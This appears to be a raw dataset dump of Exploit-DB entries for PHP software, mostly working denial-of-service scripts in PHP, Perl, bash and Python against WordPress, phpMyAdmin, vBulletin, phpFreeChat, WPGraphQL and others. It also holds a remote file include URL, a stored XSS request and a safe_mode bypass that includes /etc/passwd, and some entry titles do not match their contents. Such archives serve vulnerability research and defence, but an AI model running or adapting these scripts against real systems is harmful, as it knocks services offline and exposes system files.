deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43852
Description: PHPFreeChat 1.7 - Denial of Service
Type: dos
Platform: php
Date: 2018-01-21
Author: A. Pakbaz

Exploit:
# Exploit Title: phpFreeChat 1.7 and earlier - Denial of Service
# Version: 1.7 and earlier
# Date: 21/01/2018
# Vendor Homepage: http://www.phpfreechat.net
# Software Link: http://www.phpfreechat.net/download
# Exploit Author: A. Pakbaz
# CVE : CVE-2018-5954
####################################################
<?php
$host="http://example.com/path/index.php";	//Vulnerable Host
$con_num=64;	//Number of Connections
$proxy='';	//Proxy example http://127.0.0.1:8080
$user_agent='';	//User-Agent
$proxy=$proxy!='' ? "-x " . $proxy : '';
$user_agent=$user_agent!='' ? "-A " . $user_agent : '';
echo "##Vulnerability Discovered by A. Pakbaz\n##Exploit Author: A. Pakbaz\n";
echo "##Contact: \x70\x61\x6b\x62\x61\x7a\x40\x70\x72\x6f\x74\x6f\x6e\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\n";
echo "##PGP key: \x45\x33\x35\x35\x35\x32\x34\x43\x34\x44\x37\x45\x31\x36\x43\x38\x46\x38\x34\x38\x35\x41\x36\x46\x35\x31\x32\x39\x30\x34\x46\x35\x45\x44\x42\x45\x33\x43\x41\x41\n";
function runf($id){
global $con_num;
global $host;
global $proxy;
global $user_agent;
$i=$id*1000000/$con_num;
$f=($id+1)*1000000/$con_num;
for($num=$i; $num<$f; $num++){
	`curl --url '$host' -X POST -d "pfc_ajax=1&f=handleRequest&cmd=%2Fconnect%20a95806d727683c9c42694214fe"$num"%200%20%22"$num"%22" -N --stderr /dev/null --compressed $proxy $user_agent`;
	echo ".";	
	}		
}
function fmaker($pno){
global $con_num;
if($pno>1){
	$pid=pcntl_fork();
	if($pid<0){
		echo "\nError! Reduce the number of connections\n";
		}
	elseif($pid)
		fmaker($pno-1);
	else
		runf($con_num-$pno);
}
elseif($pno==1)
	runf($con_num-1);
}
fmaker($con_num);
?>
Exploit-DB #25752
Description: PHPMailer 1.7 - 'Data()' Remote Denial of Service
Type: dos
Platform: php
Date: 2005-05-28
Author: Mariano Nunez Di Croce

Exploit:
source: https://www.securityfocus.com/bid/13805/info

PHPMailer is affected by a remote denial-of-service vulnerability.

An attacker can send an email message with a malformed header field to initiate an infinite loop in the application. This eventually leads to a crash due to resource exhaustion.

PHPMailer 1.72 and prior versions are affected by this issue. 

From: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... x 998
Exploit-DB #35539
Description: phpMyAdmin 4.0.x/4.1.x/4.2.x - Denial of Service
Type: dos
Platform: php
Date: 2014-12-15
Author: Javer Nieto & Andres Rojas

Exploit:
=============
DESCRIPTION:
=============
A vulnerability present in in phpMyAdmin 4.0.x before 4.0.10.7, 4.1. x
before 4.1.14.8, and 4.2.x before 4.2.13.1 allows remote attackers  to
cause a denial of service (resource consumption) via a long password.
CVE-2014-9218 was assigned

=============
Time Line:
=============
December 3, 2014 - A phpMyAdmin update and the security advisory is
published.

=============
Proof of Concept:
=============

*1 - Create the payload.*

$ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s"
{1..1000000} >> payload

*2 - Performing the Denial of Service attack.*

$ for i in `seq 1 150`; do (curl --data @payload
http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done

=============
Authors:
=============

-- Javer Nieto -- http://www.behindthefirewalls.com
-- Andres Rojas -- http://www.devconsole.info
=============

References:
====================================================================

*
http://www.behindthefirewalls.com/2014/12/when-cookies-lead-to-dos-in-phpmyadmin.html
* http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.php
Exploit-DB #38442
Description: PHPMyLicense 3.0.0 < 3.1.4 - Denial of Service
Type: dos
Platform: php
Date: 2015-10-11
Author: Aria Akhavan Rezayat

Exploit:
Hello, I want to report following exploit:


# Exploit Title: PHPMyLicense Stored Cross Site Scripting
# Date: 09-10-2015
# Exploit Author: Aria Akhavan Rezayat @ Websec GesmbH
# Website: https://websec-test.com
# Vendor Homepage: https://phpmylicense.com
# Software Link: http://codecanyon.net/item/phpmylicense/11719122
# Version: 3.0.0 - 3.1.4 (REQUIRED)
# Category: Webapps

1.) Description:

Any registered user can simply disable functionality of the whole application and input malicious code because of a lack of filtering.

2.) Proof of Concept:

localhost/phpmylicense/ajax/

POST:

comments=bla-->MaliciousCode<%21--&customer_email=bla&domain=bla&expirydate=26-10-2014&handler=newlicense&parameters=bla&productid=20&serialkey=bla&status=processing

3.) Solution:

None. - No Update available for it.
Exploit-DB #24621
Description: Pinnacle ShowCenter 1.51 - Web Interface Skin Denial of Service
Type: dos
Platform: php
Date: 2004-09-21
Author: Marc Ruef

Exploit:
source: https://www.securityfocus.com/bid/11232/info

The Pinnacle Systems ShowCenter web-based interface is reported prone to a remote denial of service vulnerability. 

The issue exists due to a lack of sanity checks performed on the Skin parameter of a ShowCenter script.

It is reported that the affect of this attack will be persistent, any request for the ShowCenter web-based interface received subsequent to an attack will result in 'File or Folder not found' error message, as the interface fails to render.

A remote attacker may exploit this condition to persistently deny service to the ShowCenter web-based interface.

http://www.example.com:8000/ShowCenter/SettingsBase.php?Skin=ATK
Exploit-DB #22660
Description: PostNuke Phoenix 0.72x - Rating System Denial of Service
Type: dos
Platform: php
Date: 2003-05-26
Author: Lorenzo Manuel Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7702/info

some submissions to the rating system. Because of this, a remote attacker may be able to submit a string that causes a denial of service to legitmate users. 


http://www.example.com/modules.php?op=modload&name=Downloads&file=index&req=addrating&ratinglid=[DOWNLOAD ID]&ratinguser=[REMOTE USER]&ratinghost_name=[REMOTE HOST ;-)]&rating=[YOUR RANDOM CONTENT]
Exploit-DB #23460
Description: ProjectForum 8.4.2.1 - Find Request Denial of Service
Type: dos
Platform: php
Date: 2003-12-22
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/9271/info

It has been reported that ProjectForum may be prone to a denial of service vulnerability that may allow an attacker to cause the server to crash by sending an excessively long string via the 'find' request to the server.

ProjectForum versions 8.4.2.1 and prior have been reported to be prone to this issue. 

#!/usr/bin/perl -w

############################################################
#                                                          #
# ProjectForum 8.4.2.1 and below DoS Proof of Concept Code #
#  by Peter Winter-Smith [peter4020@hotmail.com]           #
#                                                          #
############################################################

use IO::Socket;

if(!($ARGV[1]))
{
print "\nUsage: pfdos.pl <victim> <port>\n" .
     "\tdefault port is 3455\n\n";
exit;
}

$victim = IO::Socket::INET->new(Proto=>'tcp',
                              PeerAddr=>$ARGV[0],
                              PeerPort=>$ARGV[1])
                          or die "Unable to connect to $ARGV[0] " .
                                 "on port $ARGV[1]";

$DoSpacket = '' .
 'POST /1/Search HTTP/1.1' . "\x0d\x0a" .
 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, ' .
 'application/x-gsarcade-launch, application/vnd.ms-excel, ' .
 'application/vnd.ms-powerpoint, application/msword, ' .
 'application/x-shockwave-flash, */*' . "\x0d\x0a" .
 'Referer: http://localhost:3455/1/Search' . "\x0d\x0a" .
 'Accept-Language: en-gb..Content-Type: application/x-www-form-' .
 'urlencoded' . "\x0d\x0a" .
 'Accept-Encoding: gzip, deflate' . "\x0d\x0a" .
 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ' .
 'xxxxxxxxxxxxx' . "\x20" .
 '1.0.5; .NET CLR 1.0.3705; .NET CLR 1.1.4322)' . "\x0d\x0a" .
 'Host: localhost:3455' . "\x0d\x0a" .
 'Content-Length: 6306' . "\x0d\x0a" .
 'Connection: Keep-Alive' . "\x0d\x0a" .
 'Cache-Control: no-cache' . "\x0d\x0a" . "\x0d\x0a" .
 'q=' . 'a'x6292 . '&action=Find' . "\x0d\x0a";


print $victim $DoSpacket;

print " + Making Request ...\n + Server should be dead!!\n";

sleep(4);
close($victim);

print "Done.\n";
exit;
Exploit-DB #23750
Description: RobotFTP Server 1.0/2.0 - Remote Denial of Service
Type: dos
Platform: php
Date: 2004-02-24
Author: Zone-h Security Team

Exploit:
source: https://www.securityfocus.com/bid/9732/info

It has been reported that Opt-X may be prone to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system. The problem reportedly exists because remote users may influence the 'systempath' variable in the header.php module.

Opt-X version 0.7.2 has been reported to be prone to this issue.

http://www.example.com/path_of_optx/includes/header.php?systempath=http://www.example.com/
Exploit-DB #44768
Description: Symfony 2.7.0 < 4.0.10 - Denial of Service
Type: dos
Platform: php
Date: 2018-05-26
Author: Federico Stange

Exploit:
The PDOSessionHandler class allows to store sessions on a PDO connection. Under some configurations (see below) and with a well-crafted payload, it was possible to do a denial of service on a Symfony application without too much resources.

An application is vulnerable when:

- It is using PDOSessionHandler to store its sessions;

- And it uses MySQL as a backend for sessions managed by PDOSessionHandler;

- And the SQL mode does not contain STRICT_ALL_TABLES or STRICT_TRANS_TABLES (check via SELECT @@sql_mode).

POC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44768.tgz
Exploit-DB #30401
Description: T1lib - 'intT1_Env_GetCompletePath' Buffer Overflow (PoC)
Type: dos
Platform: php
Date: 2007-07-26
Author: r0ut3r

Exploit:
source: https://www.securityfocus.com/bid/25079/info

T1lib is prone to a buffer-overflow vulnerability because the library fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.

An attacker can exploit this issue to execute arbitrary machine code in the context of applications that use the affected library. Failed exploit attempts will likely trigger crashes, denying service to legitimate users.

We do not know which versions of T1lib are affected. 

<?php
/*
PHP imagepsloadfont Buffer Overflow Vulnerability

Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)

Vulnerable dll: php_gd2.dll
- Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4

The argument given was A * 9999

Access violation when reading [41414151]
----------------------------------------

Registers:
----------
EAX 77F76238 ntdll.77F76238
ECX 77C2AB33 MSVCRT.77C2AB33
EDX 01543260 php_gd2.01543260
EBX 41414141
ESP 00C0FD58
EBP 00C0FD90
ESI 41414141
EDI 00222738
EIP 77F53284 ntdll.77F53284
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 0038 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 7D18 [PII_REDACTED]
ST1 empty +UNORM 2402 0012BCD0 00000001
ST2 empty +UNORM 17CD 77F516F5 FFFFFFFF
ST3 empty 0[PII_REDACTED]750232330e-4933
ST4 empty +UNORM 0[PII_REDACTED]C 77D43A5F
ST5 empty +UNORM 0002 77D489FF 00000000
ST6 empty 10[PII_REDACTED]0000000
ST7 empty 10[PII_REDACTED]0000000
               3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Proof of concept below: 
*/

if (!extension_loaded("gd"))
	die("PHP_GD2 extension not loaded!");

$buff = str_repeat("A",9999);

$res = imagepsloadfont($buff);
echo "boom!!\n";
?>
Exploit-DB #10829
Description: vBulletin - Denial of Service
Type: dos
Platform: php
Date: 2009-12-30
Author: R3d-D3V!L

Exploit:
#!/c:/perl/bin
#

# VBulletin Denail of Service Exploit by 4.!.5
#
# created : !N 7h3 DARKNESS
# CODED BY: R3d-D3V!L
#
# important => Image Verification in (search.php) is NOT Enabled.
# It tested on V3.6.3
#
#Perl Script
use Socket;
if (@ARGV < 2) { &usage }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<10; $i--)
{
$user="vb".$rand.$i;
$data = "s="
;
$len = length $data;
$foo = "POST ".$dir."index.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 /\n\n";
exit();
};
# Exploit By 4.!.5...




######################################################


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #10825
Description: WordPress Core 2.9 - Denial of Service
Type: dos
Platform: php
Date: 2009-12-31
Author: emgent

Exploit:
#!/bin/bash
#
# Copyright (C) 2009 Emanuele Gentili < emgent@backtrack.it >
#
# This program is released under the terms of the GNU General Public License
# (GPL), which is distributed with this software in the file "COPYING".
# The GPL specifies the terms under which users may copy and use this software.
#
# WPd0s.sh
# This is a 0day DOS issue for Wordpress Core that use cache stressing with random
# parameter on multiple requests.
#

show_help(){
  echo ""
  echo " 2009 (C) WPd0s.sh - 0day Wordpress DOS <= 2.9"
  echo ""
  echo " --usage    show the exploit Usage"
  echo " --prereq      show the exploit Prerequisites"
  echo " --credits  show the exploit Credits"
  echo " --help     show the Help"
  echo ""
  echo "Emanuele Gentili <emgent@backtrack.it>"
}

show_credits(){
  echo ""
  echo " Emanuele 'emgent' Gentili"
  echo " http://www.backtrack.it/~emgent/"
  echo " emgent @ backtrack.it"
  echo ""
}

show_prereq(){
 echo ""
 echo " 2009 (C) WPd0s.sh - 0day Wordpress DOS <= 2.9"
 echo ""
 echo " Prerequeisites:"
 echo " Bash (yeah because is cool.)"
 echo " Curl"
 echo ""
 echo " Emanuele Gentili <emgent@backtrack.it>"
}

show_usage(){
  echo ""
  echo " 2009 (C) WPd0s.sh - 0day Wordpress DOS <= 2.9"
  echo ""
  echo " usage $0 --host http://localhost/wordpress/ --requests 1000"
  echo ""
  echo " Emanuele Gentili <emgent@backtrack.it>"
}


# Bash
while [[ $# != 0 ]]; do
    arg_name=$1; shift
    case "$arg_name" in
      --help|-?|-h) show_help; exit 0;;
      --credits) show_credits; exit 0;;
      --usage) show_usage; exit 0;;
      --prereq) show_prereq; exit 0;;
      --host) host=$1; shift;;
      --requests) requests=$1; shift;;
      *) echo "invalid option: $1"; show_help;exit 1;;
    esac
done

[ -z "$host" ] && { show_help; exit 1; }

for random in `seq 1 $requests`; do
curl -A Firefox -o --url "$host/?cat=2&d0s=1&d0s=$random" > /dev/null 2>&1 &
done

# 2009-12-30 enJoy.
Exploit-DB #35413
Description: WordPress Core 4.0 - Denial of Service
Type: dos
Platform: php
Date: 2014-12-01
Author: SECURELI.com

Exploit:
<?php

echo "\nCVE-2014-9034 | WordPress <= v4.0 Denial of Service Vulnerability\n";
echo "Proof-of-Concept developed by john@secureli.com (http://secureli.com)\n\n";
echo "usage: php wordpressed.php domain.com username numberOfThreads\n";
echo " e.g.: php wordpressed.php wordpress.org admin 50\n\n";

echo "Sending POST data (username: " . $argv[2] . "; threads: " . $argv[3] . ") to " . $argv[1];

do {
 
$multi = curl_multi_init();
$channels = array();

for ($x = 0; $x < $argv[3]; $x++) {
	$ch = curl_init();

	$postData = array(
		'log' => $argv[2],
		'pwd' => str_repeat("A",1000000),
		'redirect_to' => $argv[1] . "/wp-admin/",
		'reauth' => 1,
		'testcookie' => '1',
		'wp-submit' => "Log%20In");

	$cookieFiles = "cookie.txt";

	curl_setopt_array($ch, array(
	    CURLOPT_HEADER => 1,
	    CURLOPT_USERAGENT => "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6",
	    CURLOPT_REFERER => $argv[1] . "/wp-admin/",
	    CURLOPT_COOKIEJAR => $cookieFiles,
	    CURLOPT_COOKIESESSION => true,
	    CURLOPT_URL => $argv[1] . '/wp-login.php',
	    CURLOPT_RETURNTRANSFER => true,
	    CURLOPT_POST => true,
	    CURLOPT_POSTFIELDS => $postData,
	    CURLOPT_FOLLOWLOCATION => true));
	 
    curl_multi_add_handle($multi, $ch);
 
    $channels[$x] = $ch;
}
 
$active = null;

do {
	$mrc = curl_multi_exec($multi, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
 
while ($active && $mrc == CURLM_OK) {
    do {

        $mrc = curl_multi_exec($multi, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}

foreach ($channels as $channel) {
    curl_multi_remove_handle($multi, $channel);
}
 
curl_multi_close($multi);
echo ".";
} while (1==1);

?>
Exploit-DB #35414
Description: WordPress Core < 4.0.1 - Denial of Service
Type: dos
Platform: php
Date: 2014-12-01
Author: Javer Nieto & Andres Rojas

Exploit:
====================================================================
DESCRIPTION:
====================================================================
A vulnerability present in Wordpress < 4.0.1 allows an
attacker to send specially crafted requests resulting in CPU and memory
exhaustion. This may lead to the site becoming unavailable or
unresponsive (denial of service).

====================================================================
Time Line:
====================================================================

November 20, 2014 - A Wordpress security update and the security
advisory is published.

====================================================================
Proof of Concept:
====================================================================
Generate a pyaload and try with a valid user:

echo -n "name=admin&pass=" > valid_user_payload && printf "%s"
{1..1000000} >> valid_user_payload && echo -n "&op=Log
in&form_id=user_login" >> valid_user_payload

Perform a Dos with a valid user:

for i in `seq 1 150`; do (curl --data @valid_user_payload
http://yoursite/wordpress/wp-login.php --silent > /dev/null &); sleep
0.25; done

====================================================================
Authors:
====================================================================

-- Javer Nieto -- http://www.behindthefirewalls.com
-- Andres Rojas -- http://www.devconsole.info

====================================================================
References:
====================================================================

* https://wordpress.org/news/2014/11/wordpress-4-0-1/

* https://www.drupal.org/SA-CORE-2014-006

*
http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html

*
http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html

* http://www.devconsole.info/?p=1050
Exploit-DB #49807
Description: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service
Type: dos
Platform: php
Date: 2021-04-27
Author: Dolev Farhi

Exploit:
# Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service 
# Author: Dolev Farhi
# Date: 2021-04-12
# Vendor Homepage: https://www.wpgraphql.com/
# Version: 1.3.5 
# Tested on: Ubuntu


"""
  This attack uses duplication of fields amplified by GraphQL batched queries, resulting in server OOM and MySQL connection errors.
"""

import sys
import requests


def usage():
  print('* WordPress GraphQL 1.3.5 Denial of Service *')
  print('python {} <wordpress_url> <number_of_field_duplications> <number_of_chained_queries>'.format(sys.argv[0]))
  print('python {} http://site.com 10000 100'.format(sys.argv[0]))
  sys.exit(1)

if len(sys.argv) < 4:
  print('Missing arguments!')
  usage()

def wpgql_exists():
  try:
    r = requests.post(WORDPRESS_URL, json='x')
    if 'GraphQL' in r.json()['errors'][0]['message']:
      return True
  except:
    pass
  return False

# This PoC assumes graphql is located at index.php?graphql
WORDPRESS_URL = sys.argv[1] + '/index.php?graphql'
FORCE_MULTIPLIER = int(sys.argv[2])
CHAINED_REQUESTS = int(sys.argv[3])

if wpgql_exists is False:
  print('Could not identify GraphQL running at "/index.php?graphql"')
  sys.exit(1)

queries = []

payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}

for _ in range(0, CHAINED_REQUESTS):
  queries.append(query)

r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {} seconds '.format(r.elapsed.total_seconds()))
print('Response:', r.json())
Exploit-DB #28504
Description: PHP 3 < 5 - Ini_Restore() 'Safe_mode' / 'open_basedir' Restriction Bypass
Type: local
Platform: php
Date: 2006-09-09
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/19933/info

PHP is prone to a 'safe_mode' and 'open_basedir' restriction-bypass vulnerability. Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

These issues are reported to affect PHP versions 5.1.6, 4.4.4, and earlier.

Reports indicate that fixes may be available to address this issue, but this has not been confirmed.

<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>